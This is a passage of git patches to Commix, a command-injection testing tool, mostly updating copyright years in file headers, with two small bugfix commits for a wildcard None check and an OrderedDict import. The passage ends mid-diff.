b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index fa3611a052..538f2a37dd 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/main.py b/src/core/main.py index 0f220fa438..ce537b5c28 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/modules/__init__.py b/src/core/modules/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/core/modules/__init__.py +++ b/src/core/modules/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/modules/dns_exfiltration/__init__.py b/src/core/modules/dns_exfiltration/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/core/modules/dns_exfiltration/__init__.py +++ b/src/core/modules/dns_exfiltration/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/modules/dns_exfiltration/dns_exfiltration.py b/src/core/modules/dns_exfiltration/dns_exfiltration.py index cffc02123d..9672ead123 100755 --- a/src/core/modules/dns_exfiltration/dns_exfiltration.py +++ b/src/core/modules/dns_exfiltration/dns_exfiltration.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/modules/icmp_exfiltration/__init__.py b/src/core/modules/icmp_exfiltration/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/core/modules/icmp_exfiltration/__init__.py +++ b/src/core/modules/icmp_exfiltration/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py index 859960da4e..1fe99f9faf 100755 --- a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py +++ b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/modules/modules_handler.py b/src/core/modules/modules_handler.py index 7772327969..04e772b1b3 100644 --- a/src/core/modules/modules_handler.py +++ b/src/core/modules/modules_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/modules/shellshock/__init__.py b/src/core/modules/shellshock/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/core/modules/shellshock/__init__.py +++ b/src/core/modules/shellshock/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/__init__.py b/src/core/requests/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/core/requests/__init__.py +++ b/src/core/requests/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index fd6b70b298..b4dc01446d 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index b73162bc84..850f794689 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 837b5504d8..89402a77fc 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py index 4cfd6ca4a0..c2bac33ae2 100644 --- a/src/core/requests/proxy.py +++ b/src/core/requests/proxy.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index d6d7333194..a532c9ebe3 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index c389ddd81a..ee1f89e857 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/tor.py b/src/core/requests/tor.py index 97b5f02003..b26c6eff63 100644 --- a/src/core/requests/tor.py +++ b/src/core/requests/tor.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/shells/__init__.py b/src/core/shells/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/core/shells/__init__.py +++ b/src/core/shells/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index 8a65d0dfeb..53141793f3 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index ecd1695ced..8944e3569f 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/__init__.py b/src/core/tamper/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/core/tamper/__init__.py +++ b/src/core/tamper/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/backslashes.py b/src/core/tamper/backslashes.py index 5f500298b7..b67812b955 100644 --- a/src/core/tamper/backslashes.py +++ b/src/core/tamper/backslashes.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/backticks.py b/src/core/tamper/backticks.py index edf186e321..944620ebab 100644 --- a/src/core/tamper/backticks.py +++ b/src/core/tamper/backticks.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/base64encode.py b/src/core/tamper/base64encode.py index 873e07da92..1c88cceffa 100644 --- a/src/core/tamper/base64encode.py +++ b/src/core/tamper/base64encode.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/caret.py b/src/core/tamper/caret.py index 8e1f67fdbc..bf11c75e59 100644 --- a/src/core/tamper/caret.py +++ b/src/core/tamper/caret.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/dollaratsigns.py b/src/core/tamper/dollaratsigns.py index 8ea926ef2a..27b40f7fff 100644 --- a/src/core/tamper/dollaratsigns.py +++ b/src/core/tamper/dollaratsigns.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/doublequotes.py b/src/core/tamper/doublequotes.py index 6a086cee21..32eaa22faa 100644 --- a/src/core/tamper/doublequotes.py +++ b/src/core/tamper/doublequotes.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/hexencode.py b/src/core/tamper/hexencode.py index a0880136dc..35c4d85d2c 100644 --- a/src/core/tamper/hexencode.py +++ b/src/core/tamper/hexencode.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/multiplespaces.py b/src/core/tamper/multiplespaces.py index 4529d9c40b..e641415020 100644 --- a/src/core/tamper/multiplespaces.py +++ b/src/core/tamper/multiplespaces.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/nested.py b/src/core/tamper/nested.py index 1750e9628b..94ac9c628f 100644 --- a/src/core/tamper/nested.py +++ b/src/core/tamper/nested.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/singlequotes.py b/src/core/tamper/singlequotes.py index 5d65c4453d..654d3227a6 100644 --- a/src/core/tamper/singlequotes.py +++ b/src/core/tamper/singlequotes.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/slash2env.py b/src/core/tamper/slash2env.py index 144198e69d..0af29d889d 100644 --- a/src/core/tamper/slash2env.py +++ b/src/core/tamper/slash2env.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py index 64a74a7cd0..6b7ec10a0a 100644 --- a/src/core/tamper/sleep2timeout.py +++ b/src/core/tamper/sleep2timeout.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/sleep2usleep.py b/src/core/tamper/sleep2usleep.py index 826f370f3c..ed81d9320b 100644 --- a/src/core/tamper/sleep2usleep.py +++ b/src/core/tamper/sleep2usleep.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/space2htab.py b/src/core/tamper/space2htab.py index c37d3e4bd9..1c64f58eb7 100644 --- a/src/core/tamper/space2htab.py +++ b/src/core/tamper/space2htab.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/space2ifs.py b/src/core/tamper/space2ifs.py index a5d58e1fe1..d2c972843e 100644 --- a/src/core/tamper/space2ifs.py +++ b/src/core/tamper/space2ifs.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/space2plus.py b/src/core/tamper/space2plus.py index 16efec438d..86cb38eecb 100644 --- a/src/core/tamper/space2plus.py +++ b/src/core/tamper/space2plus.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/space2vtab.py b/src/core/tamper/space2vtab.py index fc6e610e34..0c48259993 100644 --- a/src/core/tamper/space2vtab.py +++ b/src/core/tamper/space2vtab.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/uninitializedvariable.py b/src/core/tamper/uninitializedvariable.py index 4d3e8a3f3d..72d9368094 100644 --- a/src/core/tamper/uninitializedvariable.py +++ b/src/core/tamper/uninitializedvariable.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/xforwardedfor.py b/src/core/tamper/xforwardedfor.py index 712bd936b7..1db614ebf8 100644 --- a/src/core/tamper/xforwardedfor.py +++ b/src/core/tamper/xforwardedfor.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/testing.py b/src/core/testing.py index ab7ce8547d..30f2b608f7 100644 --- a/src/core/testing.py +++ b/src/core/testing.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/thirdparty/__init__.py b/src/thirdparty/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/thirdparty/__init__.py +++ b/src/thirdparty/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/__init__.py b/src/utils/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/utils/__init__.py +++ b/src/utils/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/colors.py b/src/utils/colors.py index 14932f4534..170e024eaa 100644 --- a/src/utils/colors.py +++ b/src/utils/colors.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/common.py b/src/utils/common.py index 6ee6d068b6..befb641560 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 529ccaaf66..e4f0d0a91c 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/install.py b/src/utils/install.py index 6c11a7c1d9..4036a289c4 100644 --- a/src/utils/install.py +++ b/src/utils/install.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/logs.py b/src/utils/logs.py index f7a9a34275..c9ea825ff8 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/menu.py b/src/utils/menu.py index a0c410e1d7..d7eb5926ef 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/purge.py b/src/utils/purge.py index eda005530a..6c88cffc6a 100644 --- a/src/utils/purge.py +++ b/src/utils/purge.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/requirments.py b/src/utils/requirments.py index 1b3c3f13c2..f21690d6fb 100644 --- a/src/utils/requirments.py +++ b/src/utils/requirments.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 3027f59de3..aa5353f288 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/settings.py b/src/utils/settings.py index 383b26e3aa..e7ffaad40d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -228,7 +228,7 @@ def sys_argv_errors(): VERSION = "v" + VERSION_NUM + "-stable" else: VERSION = "v" + VERSION_NUM + "-dev#" + REVISION -YEAR = "2014-2021" +YEAR = "2014-2022" AUTHOR_TWITTER = "@ancst" APPLICATION_URL = "https://commixproject.com" APPLICATION_TWITTER = "@commixproject" diff --git a/src/utils/simple_http_server.py b/src/utils/simple_http_server.py index 9622665eaa..4306f5145b 100644 --- a/src/utils/simple_http_server.py +++ b/src/utils/simple_http_server.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/update.py b/src/utils/update.py index 8b65fc41a6..cfadf978c6 100755 --- a/src/utils/update.py +++ b/src/utils/update.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/version.py b/src/utils/version.py index b3497d8eb6..a8a1b6de0e 100644 --- a/src/utils/version.py +++ b/src/utils/version.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by From 4dcb469f0e9fc05a9944a4da7cbd91553f7a6cf7 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 8 Jan 2022 09:53:48 +0200 Subject: [PATCH 0041/1023] Fixes https://github.com/commixproject/commix/issues/729 --- src/core/injections/controller/checks.py | 2 +- src/core/main.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index cb8acc9dc8..c3b9969377 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -835,7 +835,7 @@ def wildcard_character(data): _ = "" for data in data.split("\\n"): # Ignore the Accept HTTP Header - if not data.startswith("Accept: ") and settings.WILDCARD_CHAR in data : + if not data.startswith("Accept: ") and not settings.WILDCARD_CHAR is None and settings.WILDCARD_CHAR in data : data = data.replace(settings.WILDCARD_CHAR, settings.INJECT_TAG) _ = _ + data + "\\n" data = _.rstrip("\\n") diff --git a/src/core/main.py b/src/core/main.py index ce537b5c28..e20a5b0db2 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -829,7 +829,7 @@ def main(filename, url): http_request_method = settings.HTTP_METHOD.upper() else: if not menu.options.data or \ - settings.WILDCARD_CHAR in menu.options.url or \ + not settings.WILDCARD_CHAR is None and settings.WILDCARD_CHAR in menu.options.url or \ settings.INJECT_TAG in menu.options.url or \ [x for x in settings.TEST_PARAMETER if(x + "=" in menu.options.url and not x in menu.options.data)]: http_request_method = settings.HTTPMETHOD.GET diff --git a/src/utils/settings.py b/src/utils/settings.py index e7ffaad40d..8494bf0653 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "39" +REVISION = "40" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 8325ae132f871b36f6bdab60b1c33e5ffd01a0c6 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 8 Jan 2022 10:39:18 +0200 Subject: [PATCH 0042/1023] Fixes https://github.com/commixproject/commix/issues/728 --- src/core/injections/controller/checks.py | 2 +- src/thirdparty/flatten_json/flatten_json.py | 4 +- src/thirdparty/odict/__init__.py | 8 ++ src/thirdparty/odict/ordereddict.py | 133 ++++++++++++++++++++ src/thirdparty/six/__init__.py | 1 + src/utils/settings.py | 2 +- 6 files changed, 146 insertions(+), 4 deletions(-) create mode 100644 src/thirdparty/odict/__init__.py create mode 100644 src/thirdparty/odict/ordereddict.py diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index c3b9969377..7d2c4721d5 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -29,7 +29,7 @@ from src.utils import menu from src.utils import settings from src.utils import simple_http_server -from collections import OrderedDict +from src.thirdparty.odict import OrderedDict from src.core.convert import hexdecode from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib diff --git a/src/thirdparty/flatten_json/flatten_json.py b/src/thirdparty/flatten_json/flatten_json.py index 1f4de43438..a3009ed76e 100644 --- a/src/thirdparty/flatten_json/flatten_json.py +++ b/src/thirdparty/flatten_json/flatten_json.py @@ -8,8 +8,8 @@ https://github.com/amirziai/flatten """ from src.utils import settings -from collections import Iterable -from collections import OrderedDict +from src.thirdparty.odict import OrderedDict +#from collections import Iterable def check_if_numbers_are_consecutive(list_): """ diff --git a/src/thirdparty/odict/__init__.py 